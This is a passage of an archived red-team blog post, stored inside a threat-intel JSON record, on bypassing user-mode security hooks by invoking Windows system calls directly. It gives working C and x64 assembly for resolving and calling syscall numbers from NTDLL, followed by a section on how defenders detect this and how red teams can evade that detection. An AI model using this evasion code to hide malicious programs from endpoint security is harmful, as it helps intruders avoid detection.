ExportDirectory-\u003eAddressOfNames);\r\n Ordinals = RVA2VA(PWORD, DllBase, ExportDirectory-\u003eAddressOfNameOrdinals);\r\n \r\n Table = List-\u003eTable;\r\n \r\n do {\r\n FunctionName = RVA2VA(PCHAR, DllBase, Names[NumberOfNames-1]);\r\n //\r\n // Is this a system call?\r\n //\r\n if(*(USHORT*)FunctionName == 'wZ') {\r\n //\r\n // Save Hash of system call and the address.\r\n //\r\n Table[Entries].Hash = HashSyscall(0x4e000074, \u0026FunctionName[2]);\r\n Table[Entries].Address = Functions[Ordinals[NumberOfNames-1]];\r\n \r\n Entries++;\r\n if(Entries == MAX_SYSCALLS) break;\r\n }\r\n } while (--NumberOfNames);\r\n \r\n //\r\n // Save total number of system calls found.\r\n //\r\n List-\u003eEntries = Entries;\r\n \r\n //\r\n // Sort the list by address in ascending order.\r\n //\r\n for(i=0; i\u003cEntries - 1; i++) {\r\n for(j=0; j\u003cEntries - i - 1; j++) {\r\n if(Table[j].Address \u003e Table[j+1].Address) {\r\n //\r\n // Swap entries.\r\n //\r\n Entry.Hash = Table[j].Hash;\r\n Entry.Address = Table[j].Address;\r\n \r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 20 of 30\n\nTable[j].Hash = Table[j+1].Hash;\r\n Table[j].Address = Table[j+1].Address;\r\n \r\n Table[j+1].Hash = Entry.Hash;\r\n Table[j+1].Address = Entry.Address;\r\n }\r\n }\r\n }\r\n}\r\nJust to demonstrate how it might work in amd64/x64 assembly, the following is based on the above code:\r\n ; *************************************************\r\n ; Gather a list of system calls by parsing the\r\n ; export address table of NTDLL.dll\r\n ;\r\n ; Generate a hash of the syscall name and save\r\n ; the relative virtual address to a table.\r\n ;\r\n ; Sort table entries by virtual address in ascending order.\r\n ;\r\n ; **************************************************\r\n \r\n%ifndef BIN\r\n global GetSyscallList_amd64\r\n%endif\r\n \r\nGetSyscallList_amd64:\r\n ; save non-volatile registers\r\n ; rcx points to SYSCALL_LIST.\r\n ; it's saved last.\r\n pushx rsi, rbx, rdi, rbp, rcx\r\n \r\n push TEB.ProcessEnvironmentBlock\r\n pop r11\r\n mov rax, [gs:r11]\r\n mov rax, [rax+PEB.Ldr]\r\n mov rdi, [rax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]\r\n jmp scan_dll\r\n \r\n ;\r\n ; Because NTDLL.dll is not guaranteed to be second in the list of DLLs,\r\n ; we search until a match is found.\r\n ;\r\nnext_dll:\r\n mov rdi, [rdi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 21 of 30\n\nscan_dll:\r\n mov rbx, [rdi+LDR_DATA_TABLE_ENTRY.DllBase]\r\n ;\r\n mov esi, [rbx+IMAGE_DOS_HEADER.e_lfanew]\r\n add esi, r11d ; add 60h or TEB.ProcessEnvironmentBlock\r\n ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress\r\n mov ecx, [rbx+rsi+IMAGE_NT_HEADERS.OptionalHeader + \\\r\n IMAGE_OPTIONAL_HEADER.DataDirectory + \\\r\n IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \\\r\n IMAGE_DATA_DIRECTORY.VirtualAddress - \\\r\n TEB.ProcessEnvironmentBlock]\r\n jecxz next_dll ; if no exports, try next module in the list\r\n ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name\r\n lea rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.Name]\r\n ; NTDLL?\r\n lodsd\r\n xchg eax, esi\r\n add rsi, rbx\r\n \r\n ;\r\n ; Convert to lowercase by setting bit 5 of each byte.\r\n ;\r\n lodsd\r\n or eax, 0x20202020\r\n cmp eax, 'ntdl'\r\n jnz next_dll\r\n lodsd\r\n or eax, 0x20202020\r\n cmp eax, 'l.dl'\r\n jnz next_dll\r\n \r\n ;\r\n ; Load address of SYSCALL_LIST.Table\r\n ;\r\n pop rdi\r\n push rdi\r\n scasd ; skip Entries\r\n push 0 ; Entries = 0\r\n \r\n ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name\r\n lea rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]\r\n lodsd ; eax = NumberOfNames\r\n xchg eax, ecx\r\n \r\n ; r8 = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions\r\n lodsd\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 22 of 30\n\nxchg eax, r8d\r\n add r8, rbx ; r8 = RVA2VA(r8, rbx)\r\n \r\n ; rbp = IMAGE_EXPORT_DIRECTORY.AddressOfNames\r\n lodsd\r\n xchg eax, ebp\r\n add rbp, rbx ; rbp = RVA2VA(rbp, rbx)\r\n \r\n ; r9 = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals\r\n lodsd\r\n xchg eax, r9d\r\n add r9, rbx ; r9 = RVA2VA(r9, rbx)\r\nfind_syscall:\r\n mov esi, [rbp+rcx*4-4] ; rsi = AddressOfNames[rcx-1]\r\n add rsi, rbx\r\n lodsw\r\n cmp ax, 'Zw' ; system call?\r\n loopne find_syscall\r\n jne sort_syscall\r\n \r\n ; hash the system call name\r\n xor eax, eax\r\n mov edx, 0x4e000074 ; \"Nt\"\r\nhash_syscall:\r\n lodsb\r\n test al, al\r\n jz get_address\r\n ror edx, 8\r\n add edx, eax\r\n jmp hash_syscall\r\n \r\nget_address:\r\n movzx eax, word[r9+rcx*2] ; eax = AddressOfNameOrdinals[rcx]\r\n mov eax, [r8+rax*4] ; eax = AddressOfFunctions[eax]\r\n \r\n stosd ; save Address\r\n xchg eax, edx\r\n stosd ; save Hash\r\n \r\n inc dword[rsp] ; Entries++\r\n \r\n ; exports remaining?\r\n test ecx, ecx\r\n jnz find_syscall\r\n \r\n ;\r\n ; Bubble sort.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 23 of 30\n\n; Arranges Table entries by Address in ascending order.\r\n ;\r\n ; Based on the 16-byte sort code by Jibz\r\n ;\r\n ; https://gist.github.com/jibsen/8afc36995aadb896b649\r\n ;\r\n \r\nsort_syscall:\r\n pop rax ; Entries\r\n pop rdi ; List\r\n stosd ; List-\u003eEntries = Entries\r\n lea ecx, [eax - 1] ; ecx = Entries - 1\r\nouterloop:\r\n push rcx ; save rcx for outer loop\r\n push rdi ; rdi = Table\r\n \r\n push rdi ; rsi = Table\r\n pop rsi\r\ninnerloop:\r\n lodsq ; load Address + Hash\r\n cmp eax, [rsi] ; do we need to swap?\r\n jbe order_ok\r\n xchg rax, [rsi] ; if so, this is first step\r\norder_ok:\r\n stosq ; second step, or just write back rax\r\n loop innerloop\r\n pop rdi\r\n pop rcx ; restore number of elements\r\n loop outerloop ; rcx is used for both loops\r\nexit_get_list:\r\n ; restore non-volatile registers\r\n popx rsi, rbx, rdi, rbp\r\n ret\r\nTo resolve a system call name to SSN, we can use the following function. Given the hash of a system call name\r\nwe wish to use, this will search the table for a match and return the SSN. If the system call is not supported by the\r\noperating system, this function will simply return FALSE:\r\n//\r\n// Get the System Service Number from list.\r\n//\r\nstatic\r\nBOOL\r\nGetSSN(PSYSCALL_LIST List, DWORD Hash, PDWORD Ssn) {\r\n DWORD i;\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 24 of 30\n\nfor(i=0; i\u003cList-\u003eEntries; i++) {\r\n if(Hash == List-\u003eTable[i].Hash) {\r\n *Ssn = i;\r\n return TRUE;\r\n }\r\n }\r\n return FALSE;\r\n}\r\nAnd assembly:\r\n ;\r\n ; Lookup the System Service Number for a hash.\r\n ;\r\nGetSSN_amd64:\r\n lea r9, [rcx+4] ; r9 = List-\u003eTable\r\n mov ecx, dword[rcx] ; ecx = List-\u003eEntries\r\n or ebx, -1 ; i = -1\r\nsearch_table:\r\n inc ebx ; i++\r\n cmp edx, [r9+rbx*8+4] ; our hash?\r\n loopne search_table ; loop until found or no entries left\r\n jne exit_search\r\n mov dword[r8], ebx ; if found, save SSN\r\nexit_search:\r\n sete al ; return TRUE or FALSE\r\n ret\r\nThe code stub used to execute an SSN can be embedded in the .text section of the PoC, but might make more\r\nsense moving to an area of memory that won’t be detected as a manual call:\r\nInvokeSsn_amd64:\r\n pop rax ; return address\r\n pop r10\r\n push rax ; save in shadow space as _rcx\r\n \r\n push rcx ; rax = ssn\r\n pop rax\r\n \r\n push rdx ; rcx = arg1\r\n pop r10\r\n \r\n push r8 ; rdx = arg2\r\n pop rdx\r\n \r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 25 of 30\n\npush r9 ; r8 = arg3\r\n pop r8\r\n ; r9 = arg4\r\n mov r9, [rsp + SHADOW_SPACE_size]\r\n \r\n syscall\r\n jmp qword[rsp+SHADOW_SPACE._rcx]\r\nThe following code demonstrates how to use the above functions to invoke ntdll!NtAllocateVirtualMemory :\r\n SYSCALL_LIST List;\r\n DWORD SsnId, SsnHash;\r\n InvokeSsn_t InvokeSsn;\r\n \r\n //\r\n // Gather a list of system calls from the Export Address Table.\r\n //\r\n GetSyscallList(\u0026List);\r\n {\r\n //\r\n // Test allocating virtual memory\r\n //\r\n SsnHash = ct_HashSyscall(\"NtAllocateVirtualMemory\");\r\n if(!GetSSN(\u0026List, SsnHash, \u0026SsnId)) {\r\n printf(\"Unable to find SSN for NtAllocateVirtualMemory : %08lX.\\n\", SsnHash);\r\n return 0;\r\n }\r\n \r\n PVOID BaseAddress = NULL;\r\n SIZE_T RegionSize = 4096;\r\n ULONG flAllocationType = MEM_COMMIT | MEM_RESERVE;\r\n ULONG flProtect = PAGE_READWRITE;\r\n NTSTATUS Status;\r\n \r\n InvokeSsn = (InvokeSsn_t)\u0026InvokeSsn_stub;\r\n printf(\"Invoking SSN : %ld\\n\", SsnId);\r\n \r\n Status = InvokeSsn(\r\n SsnId,\r\n NtCurrentProcess(),\r\n \u0026BaseAddress,\r\n 0,\r\n \u0026RegionSize,\r\n flAllocationType,\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 26 of 30\n\nflProtect\r\n );\r\n \r\n printf(\"Status : %s (%08lX)\\n\",\r\n Status == STATUS_SUCCESS ? \"Success\" : \"Failed\", Status);\r\n \r\n if(BaseAddress != NULL) {\r\n printf(\"Releasing memory allocated at %p\\n\", BaseAddress);\r\n VirtualFree(BaseAddress, 0, MEM_RELEASE | MEM_DECOMMIT);\r\n }\r\n }\r\nShortly after writing code based on the idea suggested by userman01, another project that implements the same\r\nidea was discovered here.\r\nDetecting Manual Invocation\r\nWhat can defenders do to protect themselves?\r\nByte Signatures and Emulation\r\nUnless obfuscated/encrypted, the code stubs inside an image to execute one or more system calls will clearly\r\nindicate malicious intent because there’s no legitimate reason for a non-Microsoft application to execute them\r\ndirectly. The only exception would be cirvumventing UM hooks installed by a malicious application.\r\nA YARA signature for the “syscall” instruction or a rule for Fireeye’s CAPA to automate discovery is a good start.\r\nGenerally, any non-Microsoft application that reads the PEB or KUSER_SHARED_DATA are simple indicators of\r\nsomething malicious being executed. Emulation of code with the Unicorn Engine to detect a stub inside\r\nobfuscated/encrypted code is also an idea that understandably takes more time and effort to implement.\r\nMitigation Policies\r\nMicrosoft provide a range of mitigation policies that can be enforced upon a process to block malicious code from\r\nexecuting. Import and Export Address Filtering are two potential ways that could prevent enumeration of the\r\nsystem call names. There’s also ProcessSystemCallDisablePolicy to disable Win32k system calls for syscalls in\r\nuser32.dll or win32u.dll . Another policy that remains undocumented by Microsoft\r\nis  ProcessSystemCallFilterPolicy .\r\nInstrumentation Callback\r\nWindows x64 system service hooks and advanced debugging describes the ProcessInstrumentationCallback info\r\nclass that was also discussed by Alex Ionescu at Recon 2015 in his Hooking Nirvana presentation. It allows post-processing of system calls and can be used to detect manual invocation. Defenders could install the callback and\r\nafter each invocation examine the return address to determine if it originated from within NTDLL.dll ,\r\nuser32.dll , Win32u.dll or some other area of memory system calls shouldn’t exist.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 27 of 30\n\nScyllaHide is an Anti-Anti-Debug library that uses this method of detection. However, at the time of writing this,\r\nit only checks if the call originated from inside the host image. A simple bypass is to change the return address to a\r\nlocation outside it. As you can see, it’s also possible to manipulate the NTSTATUS value of a system call.\r\nULONG_PTR\r\nNTAPI\r\nInstrumentationCallback(\r\n _In_ ULONG_PTR ReturnAddress,\r\n _Inout_ ULONG_PTR ReturnVal\r\n )\r\n{\r\n PVOID ImageBase = NtCurrentPeb()-\u003eImageBaseAddress;\r\n PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(ImageBase);\r\n \r\n // is the return address within the host image?\r\n if (ReturnAddress \u003e= (ULONG_PTR)ImageBase \u0026\u0026\r\n ReturnAddress \u003c (ULONG_PTR)ImageBase + NtHeaders-\u003eOptionalHeader.SizeOfImage)\r\n {\r\n // manual system call detected.\r\n }\r\n}\r\nThe following code installs the callback:\r\n // Windows 7-8.1 require SE_DEBUG for this to work, even on the current process\r\n BOOLEAN SeDebugWasEnabled;\r\n Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, \u0026SeDebugWasEnabled);\r\n PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;\r\n InstrumentationCallbackInfo.Version = 0;\r\n InstrumentationCallbackInfo.Reserved = 0;\r\n InstrumentationCallbackInfo.Callback = InstrumentationCallback;\r\n Status = NtSetInformationProcess(\r\n ProcessHandle,\r\n ProcessInstrumentationCallback,\r\n \u0026InstrumentationCallbackInfo,\r\n sizeof(InstrumentationCallbackInfo)\r\n );\r\nFortunately for red teams, it’s possible to remove any callback with NtSetInformationProcess by setting the\r\ncallback to NULL.\r\nIntel Processor Trace (IPT)\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 28 of 30\n\nIntel’s binary instrumentation tool, which facilitates tracing at instruction level with triggering and filtering\r\ncapabilities, can be used to intercept system calls before and after execution. Intel Skylake and later CPU models\r\nalso support IPT, that provides similar functionality on Windows 10 since build 1803.\r\nWinIPT for Windows RS5\r\nWindows Intel PT Support Driver\r\nFurther Research\r\nSilencing Cylance: A Case Study in Modern EDRs\r\nRed Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR\r\nUserland API Monitoring and Code Injection Detection]\r\nDefeating Userland Hooks (ft. Bitdefender)\r\nUniversal Unhooking: Blinding Security\r\nFloki Bot and the stealthy dropper\r\nLatest Trickbot Variant has New Tricks Up Its Sleeve\r\nMalware Mitigation when Direct System Calls are Used\r\nFreshyCalls: Syscalls Freshly Squeezed!\r\nWin32k System Call Filtering Deep Dive\r\nImplementing Direct Syscalls Using Hell’s Gate\r\nFull DLL Unhooking with C++\r\nRed Team Tactics: Utilizing Syscalls in C# – Prerequisite Knowledge\r\nRed Team Tactics: Utilizing Syscalls in C# – Writing The Code\r\nBypassing Cylance and other AVs/EDRs by Unhooking Windows APIs\r\nBypass EDR’s memory protection, introduction to hooking\r\nShellycoat\r\nDefeating Antivirus Real-time Protection From The Inside\r\nUsing Syscalls to Inject Shellcode on Windows\r\nHooking the System Service Dispatch Table (SSDT)\r\nIntercepting the Windows 10 (1903) System Service call using the weakness caused by the dynamic trace\r\nsupport.\r\nDynamic Tracing on Windows\r\nUsing Intel PT for Vulnerability Triaging with IPTAnalyzer\r\nYes, More Callbacks — The Kernel Extension Mechanism\r\nHow Advanced Malware Bypasses Process Monitoring\r\nStaying Hidden on the Endpoint: Evading Detection with Shellcode\r\nInfinityHook\r\nBypassing PatchGuard on Windows x64 by Skywing\r\nThis blog post was written by @modexpblog.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 29 of 30\n\nStay updated with the latest\r\nnews from MDSec.\r\nSource: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 30 of 30\n\nfor Red By Admin Teams  \nPublished: 2020-12-31 · Archived: 2026-04-05 22:02:08 UTC \n   Page 1 of 30",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
	],
	"report_names": [
		"bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434788,
	"ts_updated_at": 1775791469,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/4fdf096d8fde0f2ab0ca84c90f8ba80aa9e5537d.pdf",
		"text": "https://archive.orkl.eu/4fdf096d8fde0f2ab0ca84c90f8ba80aa9e5537d.txt",
		"img": "https://archive.orkl.eu/4fdf096d8fde0f2ab0ca84c90f8ba80aa9e5537d.jpg"
	}
}